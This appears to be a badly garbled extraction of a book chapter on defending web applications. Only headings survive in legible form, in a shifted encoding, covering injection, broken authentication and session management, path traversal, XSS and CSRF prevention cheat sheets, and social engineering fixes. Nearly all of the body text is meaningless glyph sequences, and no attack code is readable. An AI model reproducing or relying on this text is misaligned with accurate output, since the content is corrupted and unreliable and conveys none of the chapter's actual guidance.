Ȭȱǯȱ ȱȱȱȱȱȱȱȱ ȱ ȱȱȱǻŚŖŚȱǯ
śŖřǰȱ ȱ ¡Ǽǯȱ Ȃȱ ȱ ȱ ȱ ȱ ¢ǰȱ ȃȱ ȱ ǯȱ ¢ȱ ȱ Ȅ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢ȱ ǰȱ Ȃȱ ¢ȱ ¢ȱ ¢ȱ
ȱȱȱȱȱȱȱȱ¢ȱȱȱȱ¡¢ǰȱȱȱ
ȱȱȱȱȱȱ¢ȱȱȱȱ¢ȱȱȱȱȱȱȱȱ¢ȱ¢ǰ
ȱ ȱ ȱ ȱ ȱ ǰȱ ǯȱ ȱ Ĵȱ ȱ ȱ ¢ȱ ȱ ¢ȱ
Ȃȱ ȱ ȱ ǻȱ ȱ
ȱ ȱ Ǽǰȱ ȱ ȱ
ȱ ȱ Ȃȱ ȱ ǰȱȱ ǰȱ ȱȱ ȱ ȱ ȱ¢
ȱȱȱ ȱȱǯ
:HE$SSOLFDWLRQ)L[HV
¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ǯ
Ȃȱȱ¢ȱȱȱ ȱ ǻǼȱȱȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱ ȱǯȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ¢ȱ ȱ ¡
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱĴǯȱ ȱȱȱȱȱȱȱ
ȱDZȦȦ ǯ¡ǯȦǯ
,QMHFWLRQ)L[HV
ȱȱȱȱȱȱȱȱȱȱȱĴǯȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ¢ȱȱȱȱȱȱȱǯ
ŗǯȱȱ£ȱDZȱȱȱȱȱȱȱȱȱȱ
ȱǻDZȱǼȱȱȱȱȱȱȱȱȱȱȱȱ¢
ȱȱǯȱȱȱȱȱȱȱȱȱ
¢¡ȱȂȱȱ¢¢ȱȱȱȱȱǯȱȱȂ
ȱȱȱȱȱȱȱ ȱȱȱ ȱȱȱ¢
ȱȱ ȱȱȱȱ ȱȱ¢ȱ¡ǯȱȱȱȱ
ȱȱȱ ȱȱȱȱȱȱȱȱȂȱȱ
ȱȱȱȱȱǯȱȱȱȱȱ¢ȱȱ
ȱȱȱ ǯȱȱ£ȱȱ£ȱȱ¢
ȱȱȱȱȱȱȱȱȬȱǯȱ
ȱȱȱȱȱȱȱȱ¢ȱȱȱ
ȱȱȱȱȱȱ¢ȱǷ
Řǯȱȱȱ¢¡DZȱȱȱȱȱȬȱȱȱȱȱ
ȱȱǰȱȱȱȱȱȱȱȱ
ȱȱȱǯȱȂȱȱȱ¢ȱ ȱȱ
ȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȂ
ȱȱȱȱȱǯȱȱȱȱȱȱ£ǰȱ
ȱȱȱȱȱȱȱȱȱȱDzȱȱȱ
ȱȱȱȱȱ¢ȱǯ
řǯȱȱȱȱȱDZȱȱȱȱȱȱȱ
£ȱȱȱȱ¢ȱ¡ȱȱȱȱȱȱȱ
ǯȱȱȱ ȱȱȱȱȱȱȱȱ
ȱǯȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱ¢ȱȱȱȱȱȱȱ
ȱȱȱǯ
Śǯȱȱ¢ȱ¢ȱȱ¢ȱȱDZȱȱ¡ǰȱȂ
ȱȱȱȱ¡ȏȱȱȱȱ ȱ¢
ȱȱȱȱȱȱǯȱȱ¢ȱȱȱȱ
ȱȱǰȱȱȱȱ¢ȱȱȱȱȱȱ¢
¢ȱȱǯ
śǯȱ¢ȱȱDZȱȱ¢ȱȱ ȱȱȱȱǰȱ ȱȱ
ȱȱǰȱȱȱȱȱ¡ȱ ȱȱȱȱȱ
¡ǯȱȱȱȱȱ ǰȱȱȱǰȱȱ¢
ǰȱȱȱȱȱȱȱȱ¢ȱȱȱȱ ȱ
ȱȂȱȱǯ
Ŝǯȱȱ ȱȱȱȱȱ£DZȱȱȱ ȱȱ
ȱȱ£ȱȱȱȱȱȱȱȱǯ
ȱȱ¢ȱȱȱȱ¢ȱ Ȭȱǯȱȱȱ¡ȱ
ȱȱȱ ȱȱ¢ȱȱǯȱȱ¢ȱȱȱȱȱ¡¡ǰȱ
ȱ¢ȱ ȱȱ ȱȱȱ¡¡ȯȱȱǯȱȱ
ȱȱȱ¢ȱȱȱ ȱ¡ȱȱ¢ȱȱȱ Ȭ
ȱȱȱȱȱśŖȱǯȱȱȱȱȱ ¢ȱȱȱȱȱ
ȱǯȱȱǰȱȱȱ ȱȱȱ ȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱśŖȱ¡ȱȱ
ȱȱȂȱȱȱȱȱ¡¢ȱȱȱȱ ȱȱȱ
ȱǯȱ£ȱȱȱȱȱȱȱȱȱȃȱ
Ȅȱǻ£ȱǼȱȱȱȱǯȱȱȱ¢ȱȱȱ
ȱȱȱȱȱ¢ȱȱ ȱȱȱȱǯȱ
ȱȱȱȱȱȱȱȱ£ȱȱ
ȱǰȱȱȱ¢ȱȱȱȱ ȱȱȱȱ
ȱȱȱȱǯ
ŝǯȱȱȱ¡DZȱȱȱ¡ȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱǻǯǯǰȱ¡¡Ǽȱ
ȱ ȱǯȱȱ¢ȱȱȱȱȱȱȱ
ȱ¡ȱȱȱ¡ȱȱǯǯȱ
¡ȱȱȱȱȱȱȱȱȱ ȱ¢ȱȱ
£ȱǯȱȱ¢ȱȱȱȱȱȱȱ
¡ȱȱȱDZȱDZȦȦ¡ǯȦǯ¡ǯ
Şǯȱȱȱȱȱȱȱ¢ȱDZȱȱ¢ȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ
ǯȱȱȱȱ ȱȱȱ ȱȱȱȱȱȱ
ǯȱȱȱ ¢ȱȱȱȱȱȱ¢ȱȱ
ǯȱȱ¡ǰȱ¢ȱȱȱȱȱȱȱȱ
ȱ ȱȱȱȱǯ
şǯȱȱ¢ȱȱȂȱȱȱ¢ȬȱDZȱȱȱȱ
ȱȱȱȱ ȱȱȱȱȱȱ¢ȱȱȱ¢
¢ǰȱȱ¢ȱȱȱȱȱȱȱȱȱȱȱ
ȱȱǻǼǯȱȱȱȱȱȱ ¢ȱȱȱ ȱ
ȱ¢ȱȱȱȱ¢ȱȱȱ ȱȱ
ȱȱȱȱǯȱȱȱ ȱ¢ȱȱȱȱȱ
ȱȱȬȱȱȱȱ ȱȱȱȱ
ȱȱǯȱȱȱȱȱȱȱȱ
ȱȱ¡ȱȱǯ
%URNHQ$XWKHQWLFDWLRQ$QG6HVVLRQ0DQDJHPHQW)L[HV
ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ
ȱ¢ȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ǰȱ ȱ ȱ
ȱȱȱ£ȱȱ¢ȱ ȱȱȱȱ ǯȱȂȱȱȱȱ
ȱ ŗşşŖȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ęǯȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱ ȱȱȱȱǯȱȱ ȱȱȱȱ
ȃȂȱȱ¢ȱ ȱ¢ǯȄȱȱȱȱȱȱȱǯȱȱ
¢ȱ ęȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ǯȱ ȱ ȱ ȱ ę¢ȱ ȱ ¢
ȱȱ¢Ȃȱȱȱȱ ȱǯ
$XWKHQWLFDWLRQ
ŗǯȱ¢ȱȱȱȱȱȱǻȱǰȱǰȱǰȱǯǼȱ
ȱ¡ȱȱ¢ȱȱȱȱǯ
Řǯȱ¢ȱȱȱ ȱȱȱȱȱȱȂȱ ȱ ȱȱȱǰ
ȱȱ ȱȱǻȱȱȱȱȱǼȱȱ
ǯ
řǯȱ¢ȱȱȱȱ¡ȱȱȱȱȱȱ¡ǰȱ
ȱȱȱȱȱȱȱȱȱȱȱȱȱȱǯ
Śǯȱ¢ȱȱȱȱȱȱȱȱȱȬȱȱȱȱ
¢ȱȱȱ¢ȱȱ¢ȱȱŗŖŖƖǯȱǰȱȱȱȱȱȱ
ȱȱȱȱȱǰȱȱ¢ȱȱ¢ȱȱȱǻȱǼ
¢ȱǯ
śǯȱ¢ȱȱȱȱȱǻȱȱȱȱ¡
ȱǼȱȱȱ£ȱǯ
Ŝǯȱ¢ȱȱȱȱȱȱ¢ǯ
ŝǯȱ¢ȱȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱ¢ȱȱȱȱȱȱ¢ȱǯ
Şǯȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱ¢ȱȱǯ
şǯȱ¢ȱȱȱȱ¢ȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱ¢ȱȱǯ
ŗŖǯȱ¢ȱȱȱȱȱȱ¢ȱȬȱ
ȱȱǰȱȱȱȱȱǰȱȱǰȱ
¢ȱȱ¢ȱǯ
ŗŗǯȱ¢ȱȱȱȱȱȱȱǰȱȱȱ¡ȱ
ȱȱȱȱ ǯȱȱȱȱȱ ȱȱ
ȱȱȱȱȱȱȱȱȱȱ
ȱȱ ȱǯ
ŗŘǯȱ¢ȱȱȱȱȱȱǯ
ŗřǯȱ¢ȱȱȱ ȱȱȱȱȱȱȱȱȱȱȱ
ǻǯǯǰȱȱȱǰȱȱǼȱȱȱȱǯ
ŗŚǯȱ¢ȱȱȱȱȱȱȱȱ¡ȱȱ
ȱȱ¢ȱȱȱȱȱȱȱǻȱȱȱǼǯ
ŗśǯȱ¢ȱȱȱȱȱȱȱȱȱȱ
ȱ¢ȱ¢ȱȱǯȱȱȱ¢ȱȱ ȱ¢ȱ
ȱ¢ȱȱȱ¢ȱǯȱȂȱ¢ȱȱȱȱȱȱ¢
Ȃȱ ȱȱȱ¢ȱȱȱȱȱȱȱȱȱǯ
6HVVLRQ0DQDJHPHQW
ŗǯȱ¢ȱȱȱ Ȃȱȱȱȱȱ
ȱȱ¢ȱȱǯ
Řǯȱ¢ȱȱȱȱȱ ȱȱȱȱǯ
řǯȱ¢ȱȱȱȱȱȱȱȱȱ¢ǯ
Śǯȱ¢ȱȱȱȱȱȱ¢ȱȱ¡ȱ
ȱȱȱ¢ȱǻȱȱǼǯ
śǯȱ¢ȱȱȱȱȱȱȱȱȱȱȱ
ȱǯ
Ŝǯȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱǰ
¢ȱȱǰȱȱǰȱȱǯȱȱȱ¢ȱȱ
ȱȱȱȱȱ ȱȱȱȱ ȱǯ
ŝǯȱ¢ȱȱȱȱȱȱȱȱǯ
Şǯȱ¢ȱȱȱȱȱȱȱȱǯ
şǯȱ¢ȱȱȱȱȱȱȱȱ¡ȱȱǯ
ŗŖǯȱ¢ȱȱ¢ȱȱȱȱ¢ȱȱȱ ȱȱ£
ȱȱ¢ȱȱǯ
ŗŗǯȱ¢ȱȱȱȱȱȱ¢ȱȱȱȱ
ȱȱȱȱ¢ȱȱȱȱȱȱ¢ȱǯ
ŗŘǯȱ¢ȱȱȱ ȱȱȱȱȦȱȱ
ȱȱȱȱȱȱ¢ȱȱȱȱȱǯ
ŗřǯȱ¢ȱȱȱȱȱȱȱȱȱȱȱ
ȱ¢ȱ¢ȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱĴǯȱ ȱȱȱ
ȱȱȱȱȱȱȱȱȱęȱȱ
ǯȱȱȱ ȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱȱȱǯ
3DWK7UDYHUVDO)L[HV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ě ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ £ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
¢ǯȱȱȱĴȱȱ ȱȱȱȱȱȱȱ£ȱ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ęȱ ¢ȱ ȱ ȱ ȱ ǻ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ǽȱ ȱ ȱ ȱ ȱ ȬȬ
ȱȱȱ ȱȱȱ¢ȱȱȱȱȬȱǯȱȱ
ȱȱȱȱ ȱ¡ȱȱȱȱȱȱȱȱȱȱǯ
ȱȱ¡ȱȱȱȱȱȱȱ ȱȱȱȱęȱȱ ȱȱęǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱDZȦȦǯȦ ǯǵ
ƽǯ¡ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
DZȦȦǯȦ ǯǵƽśřŜřŜŝŚŝȬŚŘŖśŝŜŞŜşŝȬŚŜśŘŖŚŜśŚśŝǯ
ȱȱȱǰȱȱȱȱȱȱȱ ȱǯȱ Ȃȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ ȱ
ȱȱȱȱȯȱȱ£ȱȱȱȱǰȱȱǷ
ȱȱ ȱȱȱȱȱȱȱȱȱȱȱȱ
ȱĴǯȱȱȱȱ ȱ ȱȱȱ¢ȱȱȬȬ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ęȱ ȱ
¡ȱȱǯȱȱȱȱȱ ¢ȱȱȱ ǯȱȱ ȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ǰȱ ęǰȱ ǰȱ
ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ ȱȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱǯ
ȱȱȱȱǰȱ¢ȱȱȱȱȱȱ¢ȱ
ȱ ȱ Ȭȱ ǯȱ ȱ
ǰȱ ȱ ¡ǰȱ ¢ȱ ȱ ȱ ȱǻǼȱ ǰ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ǯǯȦȱ ¢ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭ
ȱȱȱȱȱȱȱ¢ȱȱȱȱȱȱ¡ȱǯȱȱ
¢ȱ ȱ ȱ ȱ ȱ ȱǻǼǰȱ ȱ ȱ ȱ ǻǼǰȱ ȱ ǯ
ȱ ǻǼǰȱȱȱȱ ȱȏǻǼǯ
:HE8VHU)L[HV
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ
ȱȱȱĴȱȱȱȱ ¢ȱ ȱȱȱȱ
ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ǰȱ ȱ ȱ
ȱȱ¢ȱȱȱȱȱȱȱǯ
ȱȱȱȱȱȱȱȱ ȱȱȂȱȱȱĜȱȱ
ȱȱȱȱȱȱ¢ǯȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱ Ȃȱȱȱȱȱȱȱǰȱȱȱȱ
ȱȱȱȱȱȱǯ
7KH;663UHYHQWLRQ&KHDW6KHHW
ȱȱȱȱȱȱȱȱ ȱ¢ȱȱȱ ȱȱȱ¢
ȱǯȱ ȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱ ¢ȱ ěȱ ȱ ȱȱȱȱ ǯȱ ȱȱȱȱȱ
ȱ
ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ Ĵ
ȱȱȱȱȱȱȱ
ȱȱȱ ǯȱ ȱȱ ¢ǰȱȱȱ
ȱ
ȱ ȱ ȱ ȱ £ȱ ȱ ¢Dzȱ ȱ ȱ ȱ ȱ ȱ ę
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱǯ
ŗǯȱȱȱȱȱ¡ȱȱ ȱ
Řǯȱ
ȱȱȱȱȱȱȱ
ȱȱ
řǯȱȱȱȱȱȱȱȱ
ȱȱ
Śǯȱȱȱȱȱȱȱȱȱȱ
śǯȱȱȱȱ¢ȱȱȱȱȱȱȱ
ȱ¢
¢ȱ
Ŝǯȱȱȱȱȱȱȱȱ
ȱȱȱ
ŝǯȱȱȱ
ȱ¢ȱȱȱȱȱȱȬȱ
ȱȱȱ
¢
ŞǯȱȱȬȱ
şǯȱȱ
¢ȱȱ
,QSXW9DOLGDWLRQ&KHDW6KHHW
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
DZȱ ȱȱǯȱȱȱ ȱ¢ȱ¢ȱ ȱ ȱȱȱ
ȱǯȱ ȱȱȱȱȱȱǰȱȱȱȱȱ
ȱȱȬȱȱȱȱȱȂȱȱȱȱȱȱ¡¢ǯȱ
ȱȱȱȱ ȱȱ ȱ¢ȱȱȱ¢ȱȱ¢
ȬDzȱ ǯ Ȃȱ ȱ ȱ ȱ ¡DZȱDZȦȦǯǯȦȬ
Ȧ¢Ȧ¢ǯ ǯǯǯǯ¡ǯ
ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ
ȱȱȱȂȱȱȱȱ ¢ȱ¢ȱěȱǯȱȱ¡ǰȱȱȬ
ȱȱęȱȱ¢ȱȱȱȱȱǀȱǁȱǀȦȱǁȱǯȱȱĴȱ
ȱȱȱȱȱȱĴȱȱȱȱǯȱ ȱȱ ¢ȱ
ȱȱȱȱ ȱȱȱ ȱǯ
ȱ ȱ ȱ ȱ DZȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡
ǻ¡Ǽǯȱ ȂȱȱȱǷȱȱȱ ȱȱȱȱȱȱ¢ȱȱ
¡ǯ
&RGH'HIHQVHV)RU;66
ȱȱȱȱȱȱȱȱȱȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵǯȱ ȱ ȱ ȱ
¡ȱȱȱ ǯ
Ŷȱȱȱȱȱȱǀǰȱǁǰȱǭǰȱȁǰȱȱȃǯȱȱǯȱ¢ȱȱ
¢ǯ
ȱȱ
¢ǯȱȱȱ ȱȱǯ
¢ǯ
ȱȱȱȱȁǁȂȱȱȁǭDzȂȱȱȱ
ȱ¡ȱȱȱǰȱȱ¢ȱȱȱ
ǯȱ
¢ǯȱ
¢ǰȱ¡ȱȱ¢ȱȱȱȱȱȱ
ȱǯ
Ŷȱȱȱȱ
ȱȱȱȱ ȱǀȱȱȃȱ ȱȱǭǛŜŖȱȱǭǛřŚǯȱǛ
ȱȱȬȱȱǻǯ
Ǽȱȱȱ
ȱǯȱȱ
ȱ¢ȱȱȱȱȱ ȱǯȱȱDZ
DZȦȦǯǯȦŘŖŖŞȦŖřȦȬȬ¢ǯǯ
Ŷȱ
ȱȱ ȱȱȱȱ
ȱȱǻǻǼȱ
ǻǼǼǰȱ ȱȱ ȱDZȱȱȱȱȱȱȱȱ
ȱǰȱȱȂȱ¢ȱȱȱǷ
%URZVHU'HIHQVHV)RU;66
ȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ Ȭȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ȱǯȱȱȱ ȱȱȱȱȱȱȱȱȱȱ
¢ȱ¢ȱȱȱȱȱȱȱȱǯ
ŶȱȱȬDZȱȱ ȱȱȱȱ¢ȱȱȱȱȱ¢ȱ
ȱȱȱȱǰȱǰȱȱȬǯȱȱȱȱ
DZȱDZȦȦǯ£ǯȦȬȦ¡ȦȦȦǯ
Ŷȱȱ¡ȂȱȱDZȱȂȱ ȱȱȱȱȱȱȱ ¢
ȱȱǯȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱ¢ȱȱȱȱȱǯȱȱ
ȱǰȱȱȱȱǰȱȱȱȱȱȱ ȱȱ¢
ȱȱȱȱȱȱȱǯȱȱȱȱȱDZ
DZȦȦ ǯǯȦȬȦȬ¡ȦȦȬşȦȦȬ
ȬȬǯ
Ŷȱ£ȱ¡Ȃȱȱ¢ȱ¢ȱȱȱ ȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱ ǯȱȱȱȱȱȱ
ȱ¢ȱȱǯȱȱȱȱȱȱȱȱȱȱȬȬ
¢Ȭ¢ȱ
ȱȱȱȱ ȱǯȱ ȱȱȂȱȱ
ȱ¢ȱȱȱȱȱ¢ǯȱȱȱȱȱ
DZȦȦǯ£ǯȦȬ
ȦȦ¢ȦȦȏȏ¢ȏ¢ǯ
ŶȱȂȱȬȱȱȱȱ¢ȱȱȱȱȱȱ ǯȱ
ȱȱȱȱȬȱǰȱȱȱȱȱȱȱȱ
ȱȱȱȱǯȱȱȱȱȱȱ¡ȱȱȱȱ
ȱȱȱȬȱȱǻȱȱȱȱǼǯȱȱȱ
ȱȱDZȦȦǯǯȦȦǵƽǯ
7KH&65)3UHYHQWLRQ&KHDW6KHHW
ȱ ȱ¢ȱȱȱȱȱǰȱȱȱȱȱ ǰȱ
ȱ ȱ Ĵǯȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱ¢ȱȱȱ ȱȱȱȱȱ
ǯȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢£ȱȱĴȱȱȱȱȱȱȱȱȱ
ȱȱ ȱȱȂȱȱǯȱ¢ȱȱȱȱȱ ȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱ
ȱ ȱ ȱ Ĵȱ ȱ ȱ ¡ȱ ȱ ȱ Ĵȱ ȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ Ȃȱ ǯȱ ȱ ȱ ȱ ȱ
ĴȱȱȱȱȱȱȱȂȱȱęǰȱ ȱȱ¢ȱ¢
ȱǷ
0RUH&65)'HIHQVHV
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱȱȱ ȱǯ
ŶȱȱȱǻȬȱǼȱȱȱȱȱȱȱȱȱȱȂ
ǯȱ¢ȱȱǰȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱ ȱǯȱȱȱȱȱȱȱȱ
ǰȱȱȱȱȱȱ¢ȱǯ
Ŷȱȱ¢ȱȱȱȱȱȱȱȱȱȱȱȂ
ǯȱȱȱȱȱȱȱȱȱȱȱȱȱȱ ȱ¢ȱ
ȱȱǯȱȱ ¢ȱȱȱȱȱȱȱȱȱȱȱȱȱȱǰȱ¢
ȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
Ȃȱǯ
Ŷȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱǯȱȱȱȱ ȱȱ¢ȱȱȱȱȱ
£ǯ
Ŷȱȱ¢ȱ ȱȱȱȱȱȱ¡¢ȱ ȱȱ ȱȱȱ
ȱȱȱȱȱ Ȭ¢ȱȱȱȱȱȱǯȱȱȱ
ȱȱȱȱȱǰȱȱ ȱȱ ȱȱȱȱ ȱȱ
ȱȱȱȱȱǯȱȱȱȱȱ ȱǰȱ
ȱȱȱȱ ȱȱȱȱ¢ȱȱȱǯȱȱȱ
ȱȱȱȱȱ ȱȱȱȱȱȱȱ
ȱȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱȱȱǯ
7HFKQLFDO6RFLDO(QJLQHHULQJ)L[HV
ȱȱ ȱȱȱȱȱȱȱȱȱȱȱȱȱǯȱȱȱ ȱ
ȱ Ȃȱ ȱ Ȃȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ
ȱ ǯȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱȱȱȱȱȱȱȱȱĴǰȱȱȱ ȱȱ¢
ȱȱȱ¢ȱȱǯȱȂȱ¢ȱ¢Ƿ
ȱ ȱ Ȃȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ǰȱ Ȃȱ ȱ ȱ ȱ ȱ Ĵ
ȱ ȱȱ¡ȱǯȱ ȱȱȱ¢ȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ¢ȱ Ȃȱ ǰȱ Ȃȱ ȱ ȱ ȱ ¢ȱ Ȃȱ ǰȱ
ȱȱ ȱȱȃȱ¢ȱ ȱȱȱǵȄȱȬȱ¡ȱȱ¢ȱ ǰȱ ¢ȱȱǯ
ȱȂȱȱȱȱȱȱȱȱȱȱȱȱȱ ȱȱȱĴ
¡ǯ
ȱǰȱȱȱǰȱȱȱĴȱȱ¢ȱȱ ȱǯȱ
ȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵǵȱ
ȱ
ȱȱȱȱȱȱȱȱ ȱǰȱȱ ȱȱȱȱȱ
¢ȱȱȱǵȱȱȱȱȱȱȱȱȱ ȱ ȱȱȱȱǰ
ȱ ȱ ¢ȱȱ ȱȱȱȱȂȱȱǯ
& + $3 7 ( 5
¡ȱ
&KDSWHU5XQGRZQ
Ŷȱȱȱȱ¢DZȱȱȱ
ŶȱȱȱDZȱ ȱȱȱȱ¢
Ŷȱȱȱȱ ȱ¢ȱȱȱ¢ǵ
ŶȱȬȱ¢ȱȱȱȱȱ¢ȱ
,QWURGXFWLRQ
ȱȱȱěȱȱȱ¢ȱȱ¢ȱȱȱȱȱȱ
ǯȱȱȱȱȱȱȱȱȱ ȱȱȱȱ
ȱ ȱ ȱ ęȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ȱ ¡ǰ
ȱǰȱȱǰȱȱǰȱȱȱȱȱȱȱ
ǰȱȱ¢ȱǯ
ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ǯȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢
ęǯȱ ȱ ȇȱ ȱ ȱ ȱ ¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǰȱ
ǰȱȱȱȱȱȱ¢ȱȱȱȱDzȱȱȱŘȬ
¢ȱȱȱȱ ¢ȱȱȱȱǯ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ęȱ ȱ ȱ
¢ȱ ȱ ¢ȱ ǯȱ ¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ¡ȱ¡ȱȱ¢ȱȱ ȱȱȱǯ
6HFXULW\&RPPXQLW\*URXSVDQG(YHQWV
ȱȱȱ¢ȱȱȱȱ ȱȱ¢ȱȱȱȱȱ ȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ǰȱ ȱ ȱ ȱ
ȱ ȱ
ȱȱ ȱȱȱȱ¢ȱȱȱȱȱ¢ȱ¢ȱ
ȱ ¢ȱȱȱȬ ȱǯȱȱȱȱȱǰȱȱȱȱȱȱ
ȱ ȱ Ȭȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ¢ȱ ȱ ¢ȱ
ȱȱȱDZ
Ŷȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱ
ȱȱȱȱȱȱȱȱȱ ǯȱȱȱȱ¢ȱǰ
ȱȱȱ ǰȱǰȱȱȱȱȱ£ȱȱ
ȱ ȱǰȱȱǰȱȱȱȱȱȱȱ
ȱȱȱȱȱ¢ȱȱȱ ǯȱȱȱȱȱ
ȱȱǰȱȱȱȱȱȱȱȱȱȱȱȱ
¢ȱ¢ȱȱ ȱ¢ȱ ȱȱǰȱǰȱǰȱȱ
ȬȱǷȱȇȱ¢ȱȱ¡ȱȱ¢¢ȱȱȱ¢
ȱȱȱȱȱȱȱȱȱǯȱȱȱȱȱ
ǰ
ǰȱȱȬȱȱȱȱȱȱȱ ȱ ȱȱ¢
ȱȱȱ ǯȱȱ
ȱȱǻDZȦȦ ǯǯȦȱȩ
ȓ
ǼǰȱȱǻDZȦȦǯȦȱȩȱȓȏȏǼǰȱȱȬȱȱ
